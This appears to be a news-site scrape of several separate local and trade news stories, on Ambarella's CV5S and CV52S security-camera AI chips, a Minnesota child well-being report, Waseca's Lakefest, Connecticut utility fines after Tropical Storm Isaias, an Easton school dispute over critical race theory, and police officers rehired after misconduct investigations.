solutions" Security system designers desire higher resolutions, increasing channel counts, and ever faster and more ubiquitous AI capabilities, explains John Lorenz, Senior Technology and Market Analyst, Computing, at Yole Developpement (Yole), a French market research firm. John Lorenz adds, Ambarellas newest AI vision SoCs for security, the CV5S and CV52S, are competitive solutions for meeting the growing demands of the security IC (integrated circuit) sector, which our latest report forecasts to exceed US$ 4 billion by 2025, with two-thirds of that being chips with AI capabilities. Edge AI vision processors Ambarellas new CV5S and CV52S edge AI vision processors enable new classes of cameras that would not have been possible in the past, with a single SoC architecture. For example, implementing a 4x 4K multi-imager with AI would have traditionally required at least two SoCs (at least one for encoding and one for AI), and the overall power consumption would have made those designs bulky and prohibitively expensive. By reducing the number of required SoCs, the CV5S enables advanced camera designs such as AI-enabled 4x 4K imagers at price points much lower than would have previously been possible. What we are usually trying to do with our SoCs is to keep the price points similar to the previous generations, given that camera retail prices tend to be fairly fixed, said Jerome Gigot, Ambarella's Senior Director of Marketing. 4K multi-imager cameras However, higher-end 4K multi-imager cameras tend to retail for thousands of dollars, and so even though there will be a small premium on the SoC for the 2X improvement in performance, this will not make a significant impact to the final MSRP of the camera, adds Jerome Gigot. In addition, the overall system cost might go down, Gigot notes, compared to what could be built today because there is no longer a need for external chips to perform AI, or extra components for power dissipation. The new chips will be available in the second half of 2021, and it typically takes about 12 to 18 months for Ambarellas customers (camera manufacturers) to produce final cameras. Therefore, the first cameras, based on these new SoCs, should hit the market sometime in the second half of 2022. Reference boards for camera manufacturers The software on these new SoCs is an evolution of our unified Linux SDK" As with Ambarellas previous generations of edge AI vision SoCs for security, the company will make available reference boards to camera manufacturers soon, allowing them to develop their cameras based on the new CV5S and CV52S SoC families. The software on these new SoCs is an evolution of our unified Linux SDK that is already available on our previous generations SoCs, which makes the transition easy for our customers, said Jerome Gigot. Better crime detection Detecting criminals in a crowd, using face recognition and/or licence plate recognition, has been a daunting challenge for security, and one the new chips will help to address. Actually, these applications are one of the main reasons why Ambarella is introducing these two new SoC families, said Jerome Gigot. Typically, resolutions of 4K and higher have been a smaller portion of the security market, given that they came at a premium price tag for the high-end optics, image sensor and SoC. Also, the cost and extra bandwidth of storing and streaming 4K video were not always worth it for the benefit of just viewing video at higher resolution. 4K AI processing on-camera The advent of on-camera AI at 4K changes the paradigm. By enabling 4K AI processing on-camera, smaller objects at longer distances can now be detected and analysed without having to go to a server, and with much higher detail and accuracy compared to what can be done on a 2 MP or 5 MP cameras. This means that fewer false alarms will be generated, and each camera will now be able to cover a longer distance and wider area, offering more meaningful insights without necessarily having to stream and store that 4K video to a back-end server. This is valuable, for example, for traffic cameras mounted on top of high poles, which need to be able to see very far out and identify cars and licence plates that are hundreds of meters away, said Jerome Gigot. The advent of on-camera AI at 4K changes the paradigm Enhanced video analytics and wider coverage Ambarellas new CV5S and CV52S SoCs truly allow the industry to take advantage of higher resolution on-camera for better analytics and wider coverage, but without all the costs typically incurred by having to stream high-quality 4K video out 24/7 to a remote server for offline analytics, said Jerome Gigot. He adds, So, next-generation cameras will now be able to identify more criminals, faces and licence plates, at longer distances, for an overall lower cost and with faster response times by doing it all locally on-camera. Deployment in retail applications Retail environments can be some of the toughest, as the cameras may be looking at hundreds of people at once Retail applications are another big selling point. Retail environments can be some of the toughest, as the cameras may be looking at hundreds of people at once (e.g., in a mall), to provide not only security features, but also other business analytics, such as foot traffic and occupancy maps that can be used later to improve product placement. The higher resolution and higher AI performance, enabled by the new Ambarella SoCs, provide a leap forward in addressing those scenarios. In a store setup, a ceiling-mounted camera with four 4K imagers can simultaneously look at the cashier line on one side of the store, sending alerts when a line is getting too long and a new cashier needs to be deployed, while at the same time looking at the entrance on the other side of the store, to count the people coming in and out. This leaves two additional 4K imagers for monitoring specific product aisles and generating real-time business analytics. Use in cashier-less stores Another retail application is a cashier-less store. Here, a CV5S or CV52S-based camera mounted on the ceiling will have enough resolution and AI performance to track goods, while the customer grabs them and puts them in their cart, as well as to automatically track which customer is purchasing which item. In a warehouse scenario, items and boxes moving across the floor could also be followed locally, on a single ceiling-mounted camera that covers a wide area of the warehouse. Additionally, these items and boxes could be tracked across the different imagers in a multi-headed camera setup, without the video having to be sent to a server to perform the tracking. Updating on-camera AI networks Another feature of Ambarellas SoCs is that their on-camera AI networks can be updated on-the-fly, without having to stop the video recording and without losing any video frames. So, for example in the case of a search for a missing vehicle, the characteristics of that missing vehicle (make, model, colour, licence plate) can be sent to a cluster of cameras in the general area, where the vehicle is thought to be missing, and all those cameras can be automatically updated to run a live search on that specific vehicle. If any of the cameras gets a match, a remote operator can be notified and receive a picture, or even a live video feed of the scene. Efficient traffic management With the CV52S edge AI vision SoC, those decisions can be made locally at each intersection by the camera itself Relating to traffic congestion, most big cities have thousands of intersections that they need to monitor and manage. Trying to do this from one central location is costly and difficult, as there is so much video data to process and analyse, in order to make those traffic decisions (to control the traffic lights, reverse lanes, etc.). With the CV52S edge AI vision SoC, those decisions can be made locally at each intersection by the camera itself. The camera would then take actions autonomously (for example, adjust traffic-light timing) and only report a status update to the main traffic control centre. So now, instead of having one central location trying to manage 1,000 intersections, a city can have 1,000 smart AI cameras, each managing its own location and providing updates and metadata to a central server. Superior privacy Privacy is always a concern with video. In this case, doing AI on-camera is inherently more private than streaming the video to a server for analysis. Less data transmission means fewer points of entry for a hacker trying to access the video. On Ambarellas CV5S and CV52S SoCs, the video can be analysed locally and then discarded, with just a signature or metadata of the face being used to find a match. No actual video needs to be stored or transmitted, which ensures total privacy. In addition, the chips contain a very secure hardware cyber security block, including OTP memory, Arm TrustZones, DRAM scrambling and I/O virtualisation. This makes it very difficult for a hacker to replace the firmware on the camera, providing another level of security and privacy at the system level. Privacy Masking Another privacy feature is the concept of privacy masking. This feature enables portions of the video (say a door or a window) to be blocked out, before being encoded in the video stream. The blocked portions of the scene are not present in the recorded video, thus providing a privacy option for cameras that are facing private areas. With on-camera AI, each device becomes its own smart endpoint, and can be reconfigured at will to serve the specific physical security needs of its installation, said Jerome Gigot, adding The possibilities are endless, and our mission as an SoC maker is really to provide a powerful and easy-to-use platform, complete with computer-vision tools, that enable our customers and their partners to easily deploy their own AI software on-camera. Physical security in parking lots With a CV5S or CV52S AI-enabled camera, the camera will be able to cover a much wider portion of the parking lot One example is physical security in a parking lot. A camera today might be used to just record part of the parking lot, so that an operator can go back and look at the video if a car were broken into or some other incident occurred. With a CV5S or CV52S AI-enabled camera, first of all, the camera will be able to cover a much wider portion of the parking lot. Additionally, it will be able to detect the licence plates of all the cars going in and out, to automatically bill the owners. If there is a special event, the camera can be reprogrammed to identify VIP vehicles and automatically redirect them to the VIP portion of the lot, while reporting to the entrance station or sign how many parking spots are available. It can even tell the cars approaching the lot where to go. Advantages of using edge AI vision SoCs Jerome Gigot said, The possibilities are endless and they span across many verticals. The market is primed to embrace these new capabilities. Recent advances in edge AI vision SoCs have brought about a period of change in the physical security space. Companies that would have, historically, only provided security cameras, are now getting into adjacent verticals such as smart retail, smart cities and smart buildings. He adds, These changes are providing a great opportunity for all the camera makers and software providers to really differentiate themselves by providing full systems that offer a new level of insights and efficiencies to, not only the physical security manager, but now also the store owner and the building manager. He adds, All of these new applications are extremely healthy for the industry, as they are growing the available market for cameras, while also increasing their value and the economies of scale they can provide. Ambarella is looking forward to seeing all the innovative products that our customers will build with this new generation of SoCs.
Enterprise, AL (36331)

Today

Scattered thunderstorms in the morning becoming more widespread in the afternoon. High 83F. Winds SW at 5 to 10 mph. Chance of rain 80%..

Tonight

Cloudy skies early followed by scattered showers and thunderstorms later during the night. Low 71F. Winds light and variable. Chance of rain 50%.
Enterprise, AL (36331)

Today

Scattered thunderstorms in the morning becoming more widespread in the afternoon. High 83F. Winds SW at 5 to 10 mph. Chance of rain 80%..

Tonight

Scattered thunderstorms. Low 71F. Winds light and variable. Chance of rain 50%.
Enterprise, AL (36331)

Today

Scattered thunderstorms in the morning becoming more widespread in the afternoon. High 83F. Winds SW at 5 to 10 mph. Chance of rain 80%..

Tonight

Scattered showers and thunderstorms. Low 71F. Winds light and variable. Chance of rain 50%.
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spotlight

Report: Minnesota children doing well overall; children of color far less so

Coulter Sage Caron

When it comes to a childs well being, the Childrens Defense Funds 2021 Kids Count Data Book ranks Minnesota third in the nation.

The data compiles information from 16 indicators within four key domains: economic well being, education, health, and family and community context. But although improvements were made within Minnesota, not everyone flourished equally. The 2021 Kids Count Data Interactive shows racial disparities for Minnesota children who live in poverty (37% African American, 17% Latino and 6% white/non-Hispanic).

While we are happy that Minnesota is ranked third based on the Kids Count indicators, when we disaggregate the data by race and ethnicity, we find that our Black, Indigenous and children of color are having a very different experience of Minnesota, Bharti Wahi, executive director of Childrens Defense Fund-Minnesota, said in a press release. Our state has some of the most pronounced disparities in outcomes for the children. As we move out of the pandemic and take a look at our long-standing disparities, we have an obligation to rebuild a stronger and more equitable Minnesota where marginalized children can flourish, policymakers center child and youth well-being, and communities wield power to make change.

To ensure underserved populations get the services they need to improve child and family well being, local entities like county Public Health departments and early childhood team members are embracing the approach of going to the people instead of waiting for the people to come to them.

According to Amy Caron, director of Public Health for Steele and Dodge counties, a community health assessment has revealed that fear of eviction, job loss and mental health issues disproportionately affect populations of color in her service area. During the pandemic, these concerns bubbled to the top.

I personally went out and delivered essential services to people the first 18 months or so [of the pandemic] and realized theres quite an inequity, Caron said. [Pandemic-related challenges] were hitting some of our populations more (than others).

In talking with people in the migrant and Hispanic populations of Steele and Dodge counties, Caron said some reported they had good access to health care while others were hesitant to access traditional healthcare systems. This had little to do with how the systems are set up, she said, but more so with the fact that many in the migrant population enter and leave the community without health care workers knowing. As a result, this population may get missed.

As families operate in survival mode and with families worrying about where to get their next meal and how to pay the rent, Caron pointed out that children, too, are impacted.

We have had close connections with area schools, and theyre reporting that sometimes the safest place for kids is when theyre in school, Caron said.

For Dodge and Steele Counties, caron said Public Health has made a concerted effort to reach hard-to-reach populations through programs like family home visits. More recently, Caron said Public Health received community grant funding to deliver increased services to minority populations. A free clinic that serves Steele County is in the process of joining with HealthFinders which serves Rice County residents.

Our moving forward, from our public health agency, is knowing we have well-established programs in place but also a lot of work to do today, Caron said. Were going to keep these health inequities at the top of our list. We feel thats important, and the pandemic has highlighted that for us.

Like Dodge and Steele counties, Rice County Public Health produces a community health assessment every five years. Looking at this assessment from 2019, Sara Coulter, a Rice County Public Health supervisor, noted disparities similar to those Caron reported among minority populations.

In Rice County, our Latino and East African immigrants disproportionately struggle with some of the core things that build up our health, Coulter said. Employment and income, access to healthcare, access to transportation and housing; those do limit those opportunities to be healthy. The bottom line ends up being, when people talk about these disparities in Minnesota, we cant just say that doesnt happen here locally.

Coulter said the majority of respondents in a 2021 survey sent to random Rice County households were white older women, so Rice County is currently developing a survey to more accurately capture feedback of the countys diverse population.

One data point Coulter mentioned, a statistic from Rice County Housing & Redevelopment Authority, shows 80% of renter households are cost burdened. Though not yet published, Coulter said one goal in Rice County is to decrease the number of households in that category. This isnt Public Health work alone, she said, but a partner project that will impact community health by contributing to financial and social stability.

One of the points Coulter noticed in the Kids Count data for Minnesota is an increase in low-birth weight babies, which is at 6.9%.

Im really sad to see that one increasing, Coulter said. Thats awful because theres so much we can do about it.

What contributes to improved birth weight outcomes, Coulter said, is if the mother is a non-smoker, at a healthy weight and increases her hemoglobin levels. Another way to improve birth outcomes, she said, is to enroll in the Women, Infants and Children program offered through Rice County Public Health.

Based on information through WIC, Coulter said a disparity in low birth weight exists based on income. Those who participate in WIC for more than three months, according to Coulter, have better birth outcomes.

One of the goals of Rice County Public Health is to reduce obesity numbers among children enrolled in WIC. Looking at the data by the race of 2- to 5-year-olds, Coulter said 41% of Hispanic children enrolled in WIC are considered overweight or obese. In comparison, 28% of white children and 23% of Somali children in WIC are overweight or obese.

Coulter believes the community experience of the Latinx population could contribute to this disparity in childrens weight. She quoted a surveyed Latinx parent, who said, I would prefer to stay home rather than confront someone who is upset that they saw you and they think you are Mexican of their grocery shopping experience in Rice County. Feelings like these, Coulter said, lead parents to shop at convenience stores that may not sell fresh produce and other healthy foods available at grocery stores.

Addressing the issue of childhood obesity comes down to community linkage, Coulter said. Rice County Public Health is working on its referral process into its healthcare system, connecting families to pediatric providers and community services to increase education for parents around nutrition and physical activity. That involves ensuring young families access parks, utilize green spaces and know the locations of bike/walking trails.

A teen check-up program, well child services, family planning programs for those who are under-insured are some of the programs Rice County Public Health offers to address the needs of the community.

We locate ourselves in places where people already are to make it easier for them to get vaccinated, Coulter said. We go to the people rather than asking the people to come to us.

Wellness in education

Childrens Defense Fund Minnesota identifies education as one of four domains to assess child well being.

Nationally, Minnesota ranks seventh in education according to Kids Count data. But there is still room for improvement as the data shows 62% of fourth graders are not proficient in reading, and 56% of eighth graders are not proficient in math.

The most recent Kids Count data shows that 52% of Minnesota children ages 3 and 4 are not in school. With one of its district strategies centered around family engagement, Faribault Public Schools has set out to improve this data point.

In early childhood, we believe that it is essential to create intentional partnerships with our families who have young children to support their goals and dreams for their children, said Olivia Sage, early learning coordinator for Faribault Public Schools. There is a need for our engagement to be culturally relevant and for our teachers to adapt a culturally responsive mindset to reach all of our student population in Faribault.

In conjunction with community partners like Help Me Grow and Faribault Youth Investment, Sage said the early childhood department is working to reach more 3- and 4-year-olds. Faribault Reads, which promotes reading to children, kicked off this summer with book giveaways that include representations of different races and ethnic backgrounds.

Collaborating with district principals and community partners, Sage said the early childhood team is creating a robust outreach plan to identify children under 5 and connect them to programming and support for their families needs.

All of this work is done to ensure a solid, well-rounded support plan is in place for young children and their families prior to entering kindergarten, Sage said. FPS wants to be a part of a solid foundation that meets the needs of all learners.
News

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GALLERY: Lakefest brings crowds, music and normalcy

Julian Hast / By JULIAN HAST julian.hast@apgsomn.com Hundreds gathered at Clear Lake Park on Sunday for Lakefest, which was canceled last year, to celebrate the Fourth of July. There was live music, games, and a sense of things finally returning to normal. (Julian Hast/southernminn.com) Julian Hast / By JULIAN HAST julian.hast@apgsomn.com Craig Schuster, of Faribault, comes to Lakefest every year to enjoy the gathering of people for the Fourth of July. The music, for him, is a sideshow to that. (Julian Hast/southernminn.com) Joan Mooney, left, and Andrew Breck, right, organized Lakefest this year, planning for a more relaxed day of activities than previous years. Mooney is executive director for the Waseca County History Center, and Breck is the director of the Waseca Art Center. Charlie Parr, the headliner at Lakefest, waxed nostalgic for the region of the country he grew up in, and expressed the importance of playing venues that matter to him on a personal level. Parr grew up in Austin, Minnesota, and currently lives in Duluth. (Julian Hast/southernminn.com) Ken and Harriet Eaton, 96 and 94, respectively, met each other in nearby Meriden in the summer of 1944. They moved to Waseca seven years ago. Harriet said that she appreciates the feeling of peacefulness at Lakefest, and in Waseca generally. (Julian Hast/southernminn.com) Trent and Trenda Odneal, husband and wife, said they enjoyed the relaxing vibe at Lakefest on Sunday, their first time attending since moving to Waseca from Reno, Nevada. (Julian Hast/southernminn.com) Los Tequileros played for Lakefest at 5:30 p.m. after Miller Denn, and before The Resonant Rogues. (Julian Hast/southernminn.com) The Resonant Rogues, who drove into Waseca from Asheville, North Carolina, opened for Charlie Parr at Lakefest. (Julian Hast/southernminn.com) Dave Brisel, left, Sheryl Brisel, middle, and Marlene Good, right, sat together to listen to Los Tequileros perform at Lakefest. (Julian Hast/southernminn.com) Michael and Tia Malouff moved to Waseca from Colorado with their son, Max, a year ago. Sunday was their first Lakefest. The Malouffs came to Waseca seeking a nice community with a good school district. (Julian Hast/southernminn.com) Syd and Benny Botz, middle and right, of Burnsville, and Robert Lord, of San Francisco, drove down to Waseca from Burnsville to see Charlie Parr, one of Syds favorite country musicians. (Julian Hast/southernminn.com) Miller Denn performed at Lakefest at 4 p.m., as the crowd in Clear Lake Park was starting to pick up. (Julian Hast/southernminn.com) Charlie Parr performs with Liz Draper at the Fourth of Julys Lakefest. Parr headlined a day filled with music, games and of course, fireworks. (Photo courtesy of Waseca Art Center) Josh Montoya, left, and Frankie Menchaca, right, enjoyed playing cornhole toss at Lakefest while bands played and families picnicked around them. (Julian Hast/southernminn.com) Julian Hast / By JULIAN HAST julian.hast@apgsomn.com Carolyn Gilbertson, who brought her daughter, Kendra Young, to Lakefest, enjoyed the gathering of people, as well as the music  especially Los Tequileros. (Julian Hast/southernminn.com) Volleyball was one of the many communal activities enjoyed by Lakefest attendees on Sunday. (Julian Hast/southernminn.com)

Hundreds of local residents and visitors from out of town crowded into Clear Lake Park for Lakefest, Wasecas annual July Fourth music festival.

With listeners in lawn chairs strewn across the park, local and out-of-state bands performed from 3 to 10 p.m. Further from the stage, other Lakefest attendees played cornhole and volleyball, bought ice cream from concession stands and enjoyed the kind of Fourth of July Waseca didnt get to enjoy just a year before.

Fireworks, which were made possible by a $3,500 donation from Spire Credit Union, were among the many activities attendees looked forward to as their numbers increased throughout the evening.

Last year I came down here just to see if anyone would be here  nobody, Craig Schuster said, referring to last years Lakefest, which was canceled due to the pandemic and a lack of volunteers. At this years celebration, he wore an Uncle Sam top hat, an American flag T-shirt, and a red, white and bluestriped tie, a red belt tied around his blue jean cutoffs.

For the Faribault resident who grew up in Waseca, the music is a perk of coming to Lakefest, but not the reason he attends every year.

I just like the gathering of what I call humanity to come out here and enjoy one another, Schuster said. I know that sounds idealistic.

Carolyn Gilbertson, who lives near the park, had similar reasons for coming with her 13-year-old daughter, Kendra Young.

I like the mixture of generations, Gilbertson said. Its good to see each other, especially now, after the pandemic  and to get to know each other a bit.

She added that they also came to see the bands  in particular, Los Tequileros, who went on stage at 5:30 p.m., for whom Gilbertson joked that she is a groupie.

Charlie Parr, the festivals headliner, expressed nostalgia for the region he used to call home  Parr grew up in Austin.

When I was a kid, I couldnt wait to get out of here, Parr reflected. As I got older, and I started going back to visit, I realized that there was a beauty that I had missed when I was young because I was really focused on other things.

He explained that playing venues in places to which he has a connection is important to him.

I love the area, you know  its very much home, Parr added.

Meanwhile, Trenda and Trent Odneal, who moved to Owatonna from Reno, Nevada, only a year ago, enjoyed their very first Lakefest. Trenda explained that they moved here for the slower living, and because they have friends in Faribault.

Its very relaxing, she said of the festival, her small dog perched on her husband Trents lap. We want to be here again.
If you have any questions concerning traffic related laws or issues in Minnesota send your questions to Sgt. Troy Christianson  Minnesota State Patrol at 2900 48th Street NW, Rochester MN 55901-5848. (Or reach him at, Troy.Christianson@state.mn.us)
Brandon Fluegge, communications intern at Partners for Housing, is a fourth-year student at Minnesota State University, Mankato, studying Mass Communications and Communications Studies. He is also a photographer and car enthusiast, and the founder and director/CEO at Mankato Area Meets and Cruises.
NEW BRITAIN  Connecticut utility regulators largely upheld millions of dollars in fines against Eversource Energy and The United Illuminating Co. for the two electric distribution companies handling of power restoration in the aftermath of last years Tropical Storm Isaias.

The final ruling by the Public Utilities Regulatory Authority Wednesday imposed a $29 million fine against Eversource and $1.17 million against The United Illuminating Co.

The original ruling in the case was handed down May 6. At that time, PURA fined Eversource $30 million in civil penalties, the maximum allowed under state law, and fined UI a total of $2.1 million.

It wasnt immediately clear Wednesday why PURA commissioners chose to slightly reduce the fines against the two companies. But in issuing the agencys ruling, PURA Chairwoman Marissa Gillett said in a statement that if state law hadnt capped the amount that Eversource could be fined, the Authority would have assessed a penalty of $98.4 million.

State Attorney General William Tong said the fine against Eversource was warranted for its failure to meet its obligations to ratepayers in the aftermath of Isaias last year. Eversource has much work to do to regain our trust, and we will be holding them accountable at every step along the way, Tong said.

Eversource failed its customers and put Connecticut families at risk, he said. Their response to Tropical Storm Isaias was unacceptable, and PURA is right to impose severe penalties. This penalty will be paid rightfully by the company and its shareholders  not ratepayers.

Regulators ruling states explicitly that the fines are to be paid by the companies and not their customers.

Mitch Gross, an Eversource spokesman, said the company hasnt decided whether to appeal Wednesdays decision.

Time and time again our employees work tirelessly to restore power as quickly as possible and support our customers and communities when outages occur, Gross said. We cannot control the weather, or the damage that is caused by falling trees and vegetation when storm damage occurs. Our focus now is on the future and assuring that our emergency response efforts are intensive and that our employees are safe and secure in doing their jobs on behalf of our customers and communities.

Susan Millerick, a UI spokeswoman, said the company was pleased that PURA gave careful consideration of the evidence we presented to them last month and we appreciate their decision to decrease the penalty levied.

Well continue working closely with PURA toward our shared goals of safe, affordable and reliable service for our customers, Millerick said.

Eversource and UI had filed appeals in early June regarding an element of PURAs May draft decision, which, in addition to the fines, reduced the utilities return on investment. In Eversources complaint, filed as part of the companys appeal, attorneys for the utility noted that PURA reduced the utilitys return on equity by 90 basis points for an indefinite period of time, which translates into an ongoing financial penalty of roughly $31 million per year.

UIs return on investment was reduced by 15 basis points. Both penalties remain intact, said Joe Cooper, a PURA spokesman.

Editors note: This story has been updated to correct the name of PURA Chairwoman Marissa Gillett.

luther.turmelle@hearstmediact.com
Ongoing accusations and misinformation about whether critical race theory is being taught in local schools, coupled with a news story from a national publication has led the Easton first selectman to speak out against organized groups who have challenged the regions school board.

This group alleges  as part of a national campaign  that critical race theory is taught in our schools, Easton First Selectman David Bindelglass, a Democrat, said this week in a Facebook post aimed at the community. This is false, but it advances this group's goal of dividing us and lands us in the news for all the wrong reasons.

Critical race theory is an academic concept that asserts that racism is a systemic issue embedded in U.S. institutions. The concept has prompted national debate, despite little proof of it being taught as part of curriculum in most schools around the country.

The Easton-Redding-Region 9 school district has faced criticism from some local residents, including pushback about the administering of a diversity, equity and inclusion survey. Residents have disagreed about whether racism is systemic and embedded in institutions. Flyers distributed to local residents by at least one group  Nonpartisan Action for a Better Redding  states that a document circulated in the school district proposes a school curriculum in all subjects based on critical race theory, intersectionality, and social justice.

Rydell Harrison, who resigned last month as Easton-Redding-Region 9 superintendent, spoke to NBC News about backlash he faced in his one year as the superintendent. Harrison, the districts first Black superintendent, led the Diversity, Equity, and Inclusion task force to address racial climate in the districts schools, but organized groups in Easton and Redding were critical, ultimately contributing to his decision to resign.

People have asked me, Was it one flyer too many? And it wasnt just this one thing, Harrison told NBC News. It was the collection of all of these pieces and the emotional and personal toll to be a Black man doing this work and facing very blatant attacks left and right.

Redding board member Chris Hocker said hes seen no evidence of the theory in their schools, that it has simply been an assertion made by external groups. John Reilly, fellow board member and head of the Redding curriculum committee, agreed.

Critical race theory is not something that is in our curriculum nor is it planned to be, Reilly said. The [diversity, equity and inclusion] survey was designed to help include students who feel or are marginalized in one way. If we can support them in any process, we will do that.

Still, the local groups leaders continue to say otherwise, including Dana Benson, an Easton resident, who is an organizer of a town-based group called Save Our Schools, Save Our Towns. Benson continues to claim, despite officials who say otherwise, there is a connection between the diversity, equity and inclusion initiatives and critical race theory.

In much of the public debate on Facebook, etc., the people who are bringing the DEI initiative to our schools are claiming theyre not teaching CRT [critical race theory] and that these two ideas are not connected and I want to go on record as saying that CRT [critical race theory] is the theory and DEI is one of the conclusions and practices that come out of it, he said during a tri-board meeting on June 30.

These two are related. Without the assumptions of critical race theory and social justice theory, we wouldnt be looking at the kind of DEI initiatives and the survey, which is quite upsetting to a lot of people, he added.

Bindelglass called on Easton residents to reject the political divisions and instead concentrate on students. In a follow-up interview, he referred to two Easton-based groups, Citizens for Responsible Government and Save Our Schools Save Our Towns, who he said have been outspoken in combating measures being taken by the school district to promote equity and inclusion.

This is a big job at any time, but perhaps even a greater challenge today, with a small faction working at every turn to politicize their work with a toxic national political agenda aimed at dividing us, without any thought about the impact that division might have on our community, he said.

Bindelglass said that while he has no authority over the school board, he felt a great deal of responsibility to weigh in on the matters that were affecting the community. He noted there is some overlap among the Easton groups members and some dont have children in the school system anymore, a point that Hocker echoed.

Despite objections, the optional survey proposed by the school district on diversity, equity and inclusion was approved late in the school year. That, however, came only after removing the words equity and systemic from the survey as a way to appease detractors.
In 2015, Ridgefield Police Lt. Craig Worsters 15-year career in law enforcement was in jeopardy.

Worster faced sexual harassment allegations for allegedly telling female officers sex-related stories, displaying explicit material and unwelcome touching. An internal police department investigation was underway over the allegations and nearing its conclusion.

But the day after being interviewed by internal investigators, Worster resigned citing family matters, according to a news report at the time. The probe reached no formal disposition and no punishment was given.

Four years later and about 500 miles away, Worster became the police chief for the Millinocket Police Department, a woodsy hamlet of 4,300 people in Northern Maine. A year after taking the job, Worster was again accused of sexual harassment  this time by the Millinocket departments female deputy chief.

That led Millinocket to fire Worster in December 2020, triggering a torrent of controversy that culminated in the town disbanding its tiny police force. Worsters termination was later overturned, a decision the town is now appealing.

Worsters saga, however, is not unique, a Hearst Connecticut Media Group investigation has found. Instead, his case underscores a national issue of police officers who land in trouble at one department, resign while under investigation or are fired, and then move on to another department. In some cases, such officers are again accused of misconduct after switching departments.

There is no complete tally of how many such officers there are nationwide. But a recent study found that, in the state of Florida alone, about 800 officers in any given year over a recent three-decade period had found new police jobs after being fired from other departments for misconduct.

Researchers who headed the study said that was likely an undercount of such so-called wandering officers in part because there is no comprehensive national database of police misconduct, which hampers departments efforts to track misconduct by other officers. Activists have pushed for such a database as a critical reform that would help departments identify and avoid hiring officers with prior serious misconduct.

Other cases of officers getting new law enforcement jobs despite troubled pasts have been documented around the country, including in New York, Ohio and Worsters case in Maine.

Hearst Connecticuts investigation also took a deeper look into two additional examples of local officers who resigned while under internal investigation or were fired by their departments for misconduct and later hired by another police department in the state. There may well be other Connecticut cases; uncovering examples is challenging because internal police records about officer misconduct are not publicly available, and obtaining them often requires formal requests under the state Freedom of Information law, which can be a slow and inconsistent process.

Hearst Connecticuts investigation exposes gray areas in Connecticut hiring rules and procedures that have allowed officers to land new jobs at local police departments despite problematic pasts.

Dan Barrett, legal director of the Connecticut Chapter of the ACLU, said the system for hiring police officers in Connecticut is not foolproof. He said its common for officers to resign during an internal investigation and then move on to another police job.

Thats why they do it, Barrett said. It makes good business sense. It stops the investigation cold and prevents the conclusion that they broke a rule. They are free to get another cop job.

Police officials, meanwhile, defended the hiring standards set for departments statewide.

Danbury Police Chief Patrick Ridenhour, president of the Connecticut Police Chiefs Association, said departments try diligently to follow those requirements and hire quality officers.

We do the best we can to speak with internal affairs divisions and get the records from other departments as part of the background investigation, Ridenhour said. I dont think any department wants someone elses problem.

Ridenhour said Connecticut has taken steps to avoid problems that wandering officers have created in other states.

I think Connecticut has tried successfully to address that, Ridenhour said. We have to disclose any adverse information. You cant say No, you are not getting their files. I dont think you see that in Connecticut like in other places.

Town of Millinocket, Maine

Plainville case

In August 2020, the Plainville Police Department hired Justin Cullen, a former Manchester officer who resigned weeks earlier during an internal investigation into alleged off-duty sexual misconduct.

Cullen was accused of engaging in non-consensual sex while off duty in Southington, according to a lawsuit filed on Cullens behalf in state Superior Court. The court documents note the allegation was referred to Southington police, which closed an investigation into the matter after the alleged victim refused to pursue it.

Manchester determined Cullen should be terminated as a probationary employee and he was offered the option of resigning in lieu of termination, the court documents state.

That decision to resign left Cullen with a problem regarding his new job with Plainville.

Under Connecticut law, an officer who resigns or retires during an internal investigation for malfeasance or serious misconduct -- or is fired for the conduct -- cannot be hired by another department unless the officer was later exonerated of the conduct.

When hiring an officer, police departments must complete a background check, obtain past disciplinary reports if the applicant previously worked as an officer, and detail any offenses that disqualify the applicant from being hired.

A form containing that information is sent for review and approval to the state Police Officer Standards and Training (POST) Council, which provides a final check on whether an officer can be hired and certifies officers  essentially providing the license to work in law enforcement.

In November 2020, the POST Council rejected Cullens request for certification to work for Plainville, citing the fact that he resigned while under investigation for malfeasance or other serious misconduct.

Cullen administratively appealed the POST Council decision and filed an appeal with the state Superior Court, according to court records.

The case highlights a potential problem with the state law that regulates police hires and guides POST Council approval or rejection - what exactly constitutes malfeasance or serious misconduct? The Cullen case showed those terms can be open to interpretation and are not well defined.

The rules that govern hiring an officer are primarily established through laws passed by the state Legislature. New hiring standards were put in place last year through a sweeping Police Accountability Act passed by the state Legislature. Those rules are interpretated and administered by the POST Council, whose membership was expanded under the Police Accountability Act.

During a hearing before the POST Council, Plainville and Cullens lawyers argued the alleged misconduct did not fit the definition of, or rise to the level of, malfeasance or serious misconduct, according to minutes of the proceeding.

The appeal Cullens lawyers filed, which included the arguments made before the POST Council, was dismissed on the grounds the court lacked jurisdiction.

Lawyers representing Cullen in Superior Court, declined to comment, as did several lawyers representing Plainville and Manchester police.

In the wake of the Cullen case, the POST Council has been discussing how to more clearly define malfeasance or serious misconduct, minutes show. State lawmakers earlier this year failed to pass a bill that sought to provide a more specific definition for the terms malfeasance or serious misconduct. The bill did not change or alter rules for hiring an officer or the criteria that an applicant must meet.

Milford Police Chief Keith Mello and chairman of the states POST Council defended Connecticuts hiring practices.

There has been a lot of really good things [done to prevent] hiring people involved in serious misconduct and malfeasance, Mello said.

But, Howard Friedman, a Boston civil rights lawyer and member of the National Police Accountability Project, said even carefully-crafted hiring procedures can produce questionable results  and Connecticut is an example of that.

Sometimes the system does not always work, he said.

Fairfield case

Another local case reviewed by Hearst Connecticut happened earlier this year when Fairfield police hired Dan Loris as an officer. Loris was fired in 2020 by the Shelton Police Department for ethics and sexual harassment violations and misconduct while on duty.

That termination resulted from an internal investigation into photos of officers changing their clothes in the department parking lot that were posted on social media. Loris was involved, but its unclear exactly what role he played in the matter.

Loris filed a grievance to appeal his firing.

According to a federal lawsuit filed in June on behalf of Loris and five other officers also fired by Shelton last year, the officers actions were meant to illustrate the impact of the closure of police headquarters bathrooms to officers in April 2020.

There were no hand-washing stations or any place to change your clothes other than in the parking lot, the suit states, calling the conditions unsanitary, humiliating, and unsafe.

Michelle Holmes, a lawyer who represents Loris the other officers, said the officers should have never been fired and pointed out that only Loris has been able to find a new job.

Its highly likely the terminations in my case will be overturned by an arbitrator because they were retaliatory, said Holmes. Not every fired officer, such as Dan Loris and the five other Shelton officers I represent, are fired for just cause.

Holmes said state law disregards the possibility that a termination could be overturned by the state Board of Mediation and Arbitration, which settles union labor disputes.

The POST legislation just assumes the terminations are just but in this case they were not, Holmes said, referring to state law that sets police hiring rules. I understand the reasoning behind the legislation, but I believe it needs serious consideration and revamping.

Shelton officials have defended their actions regarding Loris.

